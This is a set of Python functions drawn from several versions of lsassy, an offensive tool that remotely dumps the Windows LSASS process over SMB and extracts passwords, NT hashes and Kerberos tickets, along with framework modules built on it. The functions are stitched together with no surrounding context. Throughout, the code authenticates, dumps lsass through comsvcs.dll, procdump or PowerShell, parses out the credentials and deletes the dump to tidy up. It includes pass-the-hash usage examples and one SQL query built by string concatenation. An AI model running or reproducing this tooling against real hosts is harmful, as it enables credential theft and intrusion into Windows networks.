def run(): import argparse parser = argparse.ArgumentParser( description='lsassy v{} - Remote lsass dump reader'.format(version)) group_auth = parser.add_argument_group('Authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('Output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-k', '--kerberos-dir', help='Save kerberos tickets to a directory.') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_out.add_argument('-o', '--outfile', help='Save results to file') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument( 'target', action='store', help= '[domain/]username[:password]@<host>:/share_name/path/to/lsass/dump') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() conn, share_name, file_path = ImpacketConnection.from_args( args, args.debug) ifile = ImpacketFile() ifile.open(conn, share_name, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) parser = Parser(dumpfile) parser.output(args)
def run_lsassy( self, context, connection ): # Couldn't figure out how to properly retrieve output from the module without editing. Blatantly ripped from lsassy_dump.py. Thanks pixis - @hackanddo! logger.init(quiet=True) host = connection.host domain_name = connection.domain username = connection.username password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") session = Session() session.get_session(address=host, target_ip=host, port=445, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=domain_name) if session.smb_session is None: context.log.error( "Couldn't connect to remote host. Password likely expired/changed. Removing from DB." ) cursor.execute( "UPDATE admin_users SET hash = NULL WHERE username LIKE '" + username + "'") return False dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method) if dumper is None: context.log.error("Unable to load dump method '{}'".format( self.method)) return False file = dumper.dump() if file is None: context.log.error("Unable to dump lsass") return False credentials, tickets, masterkeys = Parser(file).parse() file.close() ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] credentials = [ cred.get_object() for cred in credentials if not cred.get_username().endswith("$") ] credentials_unique = [] credentials_output = [] for cred in credentials: if [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ] not in credentials_unique: credentials_unique.append([ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ]) credentials_output.append(cred) global credentials_data credentials_data = credentials_output
def on_admin_login(self, context, connection): logger.init(quiet=True) host = connection.host domain_name = connection.domain username = connection.username password = getattr(connection, "password", "") lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") session = Session() session.get_session(address=host, target_ip=host, port=445, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=domain_name) if session.smb_session is None: context.log.error("Couldn't connect to remote host") return False dumper = Dumper(session, timeout=10).load(self.method) if dumper is None: context.log.error("Unable to load dump method '{}'".format( self.method)) return False file = dumper.dump() if file is None: context.log.error("Unable to dump lsass") return False credentials, tickets = Parser(file).parse() file.close() ImpacketFile.delete(session, file.get_file_path()) if credentials is None: credentials = [] credentials = [ cred.get_object() for cred in credentials if not cred.get_username().endswith("$") ] credentials_unique = [] credentials_output = [] for cred in credentials: if [ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ] not in credentials_unique: credentials_unique.append([ cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"] ]) credentials_output.append(cred) self.process_credentials(context, connection, credentials_output)
def run(self): """ Main method to dump credentials on a remote host """ session, file, dumper, method = None, None, None, None # Credential parsing username = self.args.username if self.args.username else "" password = self.args.password if self.args.password else "" lmhash, nthash = "", "" if not password and self.args.hashes: if ":" in self.args.hashes: lmhash, nthash = self.args.hashes.split(":") else: lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes # Exec methods parsing exec_methods = self.args.exec.split(",") if self.args.exec else None # Dump modules options parsing options = { v.split("=")[0]: v.split("=")[1] for v in self.args.options.split(",") } if self.args.options else {} # Dump path checks dump_path = self.args.dump_path if dump_path: dump_path = dump_path.replace('/', '\\') if len(dump_path) > 1 and dump_path[1] == ":": if dump_path[0] != "C": logging.error( "Drive '{}' is not supported. 'C' drive only.".format( dump_path[0])) return False dump_path = dump_path[2:] if dump_path[-1] != "\\": dump_path += "\\" parse_only = self.args.parse_only kerberos_dir = self.args.kerberos_dir if parse_only and (dump_path is None or self.args.dump_name is None): logging.error( "--dump-path and --dump-name required for --parse-only option") return False try: session = Session() session.get_session(address=self.target, target_ip=self.target, port=self.args.port, lmhash=lmhash, nthash=nthash, username=username, password=password, domain=self.args.domain, aesKey=self.args.aesKey, dc_ip=self.args.dc_ip, kerberos=self.args.kerberos, timeout=self.args.timeout) if session.smb_session is None: logging.error("Couldn't connect to remote host") return False if not parse_only: dumper = Dumper(session, self.args.timeout).load(self.args.dump_method) if dumper is None: logging.error("Unable to load dump module") return False file = dumper.dump(no_powershell=self.args.no_powershell, exec_methods=exec_methods, dump_path=dump_path, dump_name=self.args.dump_name, timeout=self.args.timeout, **options) if file is None: logging.error("Unable to dump lsass.") return False else: file = ImpacketFile(session).open(share="C$", path=dump_path, file=self.args.dump_name, timeout=self.args.timeout) if file is None: logging.error("Unable to open lsass dump.") return False credentials, tickets = Parser(file).parse() file.close() if not parse_only: ImpacketFile.delete(session, file.get_file_path(), timeout=self.args.timeout) logging.success("Lsass dump successfully deleted") else: logging.debug( "Not deleting lsass dump as --parse-only was provided") if credentials is None: logging.error( "Unable to extract credentials from lsass. Cleaning.") return False with lock: Writer(credentials, tickets).write(self.args.format, output_file=self.args.outfile, quiet=self.args.quiet, users_only=self.args.users, kerberos_dir=kerberos_dir) except KeyboardInterrupt: pass except Exception as e: logging.error("An unknown error has occurred.", exc_info=True) finally: logging.debug("Cleaning...") logging.debug("dumper: {}".format(dumper)) logging.debug("file: {}".format(file)) logging.debug("session: {}".format(session)) try: dumper.clean() logging.debug("Dumper cleaned") except Exception as e: logging.debug( "Potential issue while cleaning dumper: {}".format(str(e))) try: file.close() logging.debug("File closed") except Exception as e: logging.debug("Potential issue while closing file: {}".format( str(e))) if not parse_only: try: if ImpacketFile.delete(session, file_path=file.get_file_path(), timeout=self.args.timeout): logging.debug("Lsass dump successfully deleted") except Exception as e: try: logging.debug( "Couldn't delete lsass dump using file. Trying dump object..." ) if ImpacketFile.delete(session, file_path=dumper.dump_path + dumper.dump_name, timeout=self.args.timeout): logging.debug("Lsass dump successfully deleted") except Exception as e: logging.debug( "Potential issue while deleting lsass dump: {}". format(str(e))) try: session.smb_session.close() logging.debug("SMB session closed") except Exception as e: logging.debug( "Potential issue while closing SMB session: {}".format( str(e)))
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter ) group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true',help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument('--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods to dump procdump, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') parser.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') parser.add_argument('-p', '--procdump', action='store', help='Procdump path') parser.add_argument('-r', '--raw', action='store_true', help='No basic result filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) file_path = dumper.dump() if not file_path: logger.error("lsass could not be dumped") exit() logger.success("Process lsass.exe is being dumped") ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Try all methods ** lsassy -m 0 adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -m 2 -p /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy --dumppath C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q [email protected] lsassy -g --hashes 952c28bd2fd728898411b301475009b7 [email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawTextHelpFormatter) group_dump = parser.add_argument_group('dump') group_dump.add_argument('-m', '--method', action='store', default="1", help='''Dumping method 0: Try all methods (dll then procdump) to dump lsass, stop on success (Requires -p if dll method fails) 1: comsvcs.dll method, stop on success (default) 2: Procdump method, stop on success (Requires -p) 3: comsvcs.dll + Powershell method, stop on success 4: comsvcs.dll + cmd.exe method''') group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') group_dump.add_argument('-p', '--procdump', action='store', help='Procdump path') group_dump.add_argument( '--timeout', default="10", action='store', help='Timeout before considering lsass was not dumped successfully') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument( '-r', '--raw', action='store_true', help= 'No basic result filtering (Display host credentials and duplicates)') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) if isinstance(conn, RetCode): return_code = conn lsassy_exit(logger, return_code) return_code = conn.isadmin() if not return_code.success(): conn.close() lsassy_exit(logger, return_code) dumper = None ifile = None try: if not args.dumppath: dumper = Dumper(conn, args, logger) ifile = dumper.dump() if isinstance(ifile, RetCode): return_code = ifile else: logger.success("Process lsass.exe has been dumped") else: ifile = ImpacketFile(conn, logger).open(args.dumppath) if not isinstance(ifile, ImpacketFile): return_code = ifile if return_code.success(): dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) except KeyboardInterrupt as e: print("\nQuitting gracefully...") return_code = RetCode(ERROR_USER_INTERRUPTION) except Exception as e: return_code = RetCode(ERROR_UNDEFINED, e) pass finally: try: ifile.close() except Exception as e: pass if dumper is not None: dumper.clean() conn.close() lsassy_exit(logger, return_code)
def run(): import argparse examples = '''examples: ** RunDLL Dump Method ** lsassy adsec.local/pixis:[email protected] ** Procdump Dump Method ** lsassy -P /tmp/procdump.exe adsec.local/pixis:[email protected] ** Remote parsing only ** lsassy -p C$/Windows/Temp/lsass.dmp adsec.local/pixis:[email protected] ** Output functions ** lsassy -j -q -p C$/Windows/Temp/lsass.dmp [email protected] lsassy --hashes 952c28bd2fd728898411b301475009b7 [email protected] lsassy -d adsec.local/pixis:[email protected]''' parser = argparse.ArgumentParser( prog="lsassy", description='lsassy v{} - Remote lsass dump reader'.format(version), epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter) group_auth = parser.add_argument_group('procdump (default DLL)') group_auth.add_argument('-p', '--procdump', action='store', help='procdump path') group_auth = parser.add_argument_group('authentication') group_auth.add_argument('--hashes', action='store', help='[LM:]NT hash') group_out = parser.add_argument_group('output') group_out.add_argument('-j', '--json', action='store_true', help='Print credentials in JSON format') group_out.add_argument('-g', '--grep', action='store_true', help='Print credentials in greppable format') group_extract = parser.add_argument_group('remote parsing only') group_extract.add_argument( '--dumppath', action='store', help='lsass dump path (Format : c$/Temp/lsass.dmp)') parser.add_argument('-r', '--raw', action='store_true', help='Raw results without filtering') parser.add_argument('-d', '--debug', action='store_true', help='Debug output') parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) parser.add_argument('target', action='store', help='[domain/]username[:password]@<host>') if len(sys.argv) == 1: parser.print_help() sys.exit(0) args = parser.parse_args() logger = Logger(args.debug, args.quiet) conn = ImpacketConnection.from_args(args, logger) file_path = args.dumppath dumper = None if not args.dumppath: dumper = Dumper(conn, args, logger) if args.procdump: file_path = dumper.dump("procdump") else: file_path = dumper.dump("dll") if not file_path: exit() ifile = ImpacketFile(logger) ifile.open(conn, file_path) dumpfile = pypykatz.parse_minidump_external(ifile) ifile.close() parser = Parser(dumpfile, logger) parser.output(args) if dumper is not None: dumper.clean() conn.close()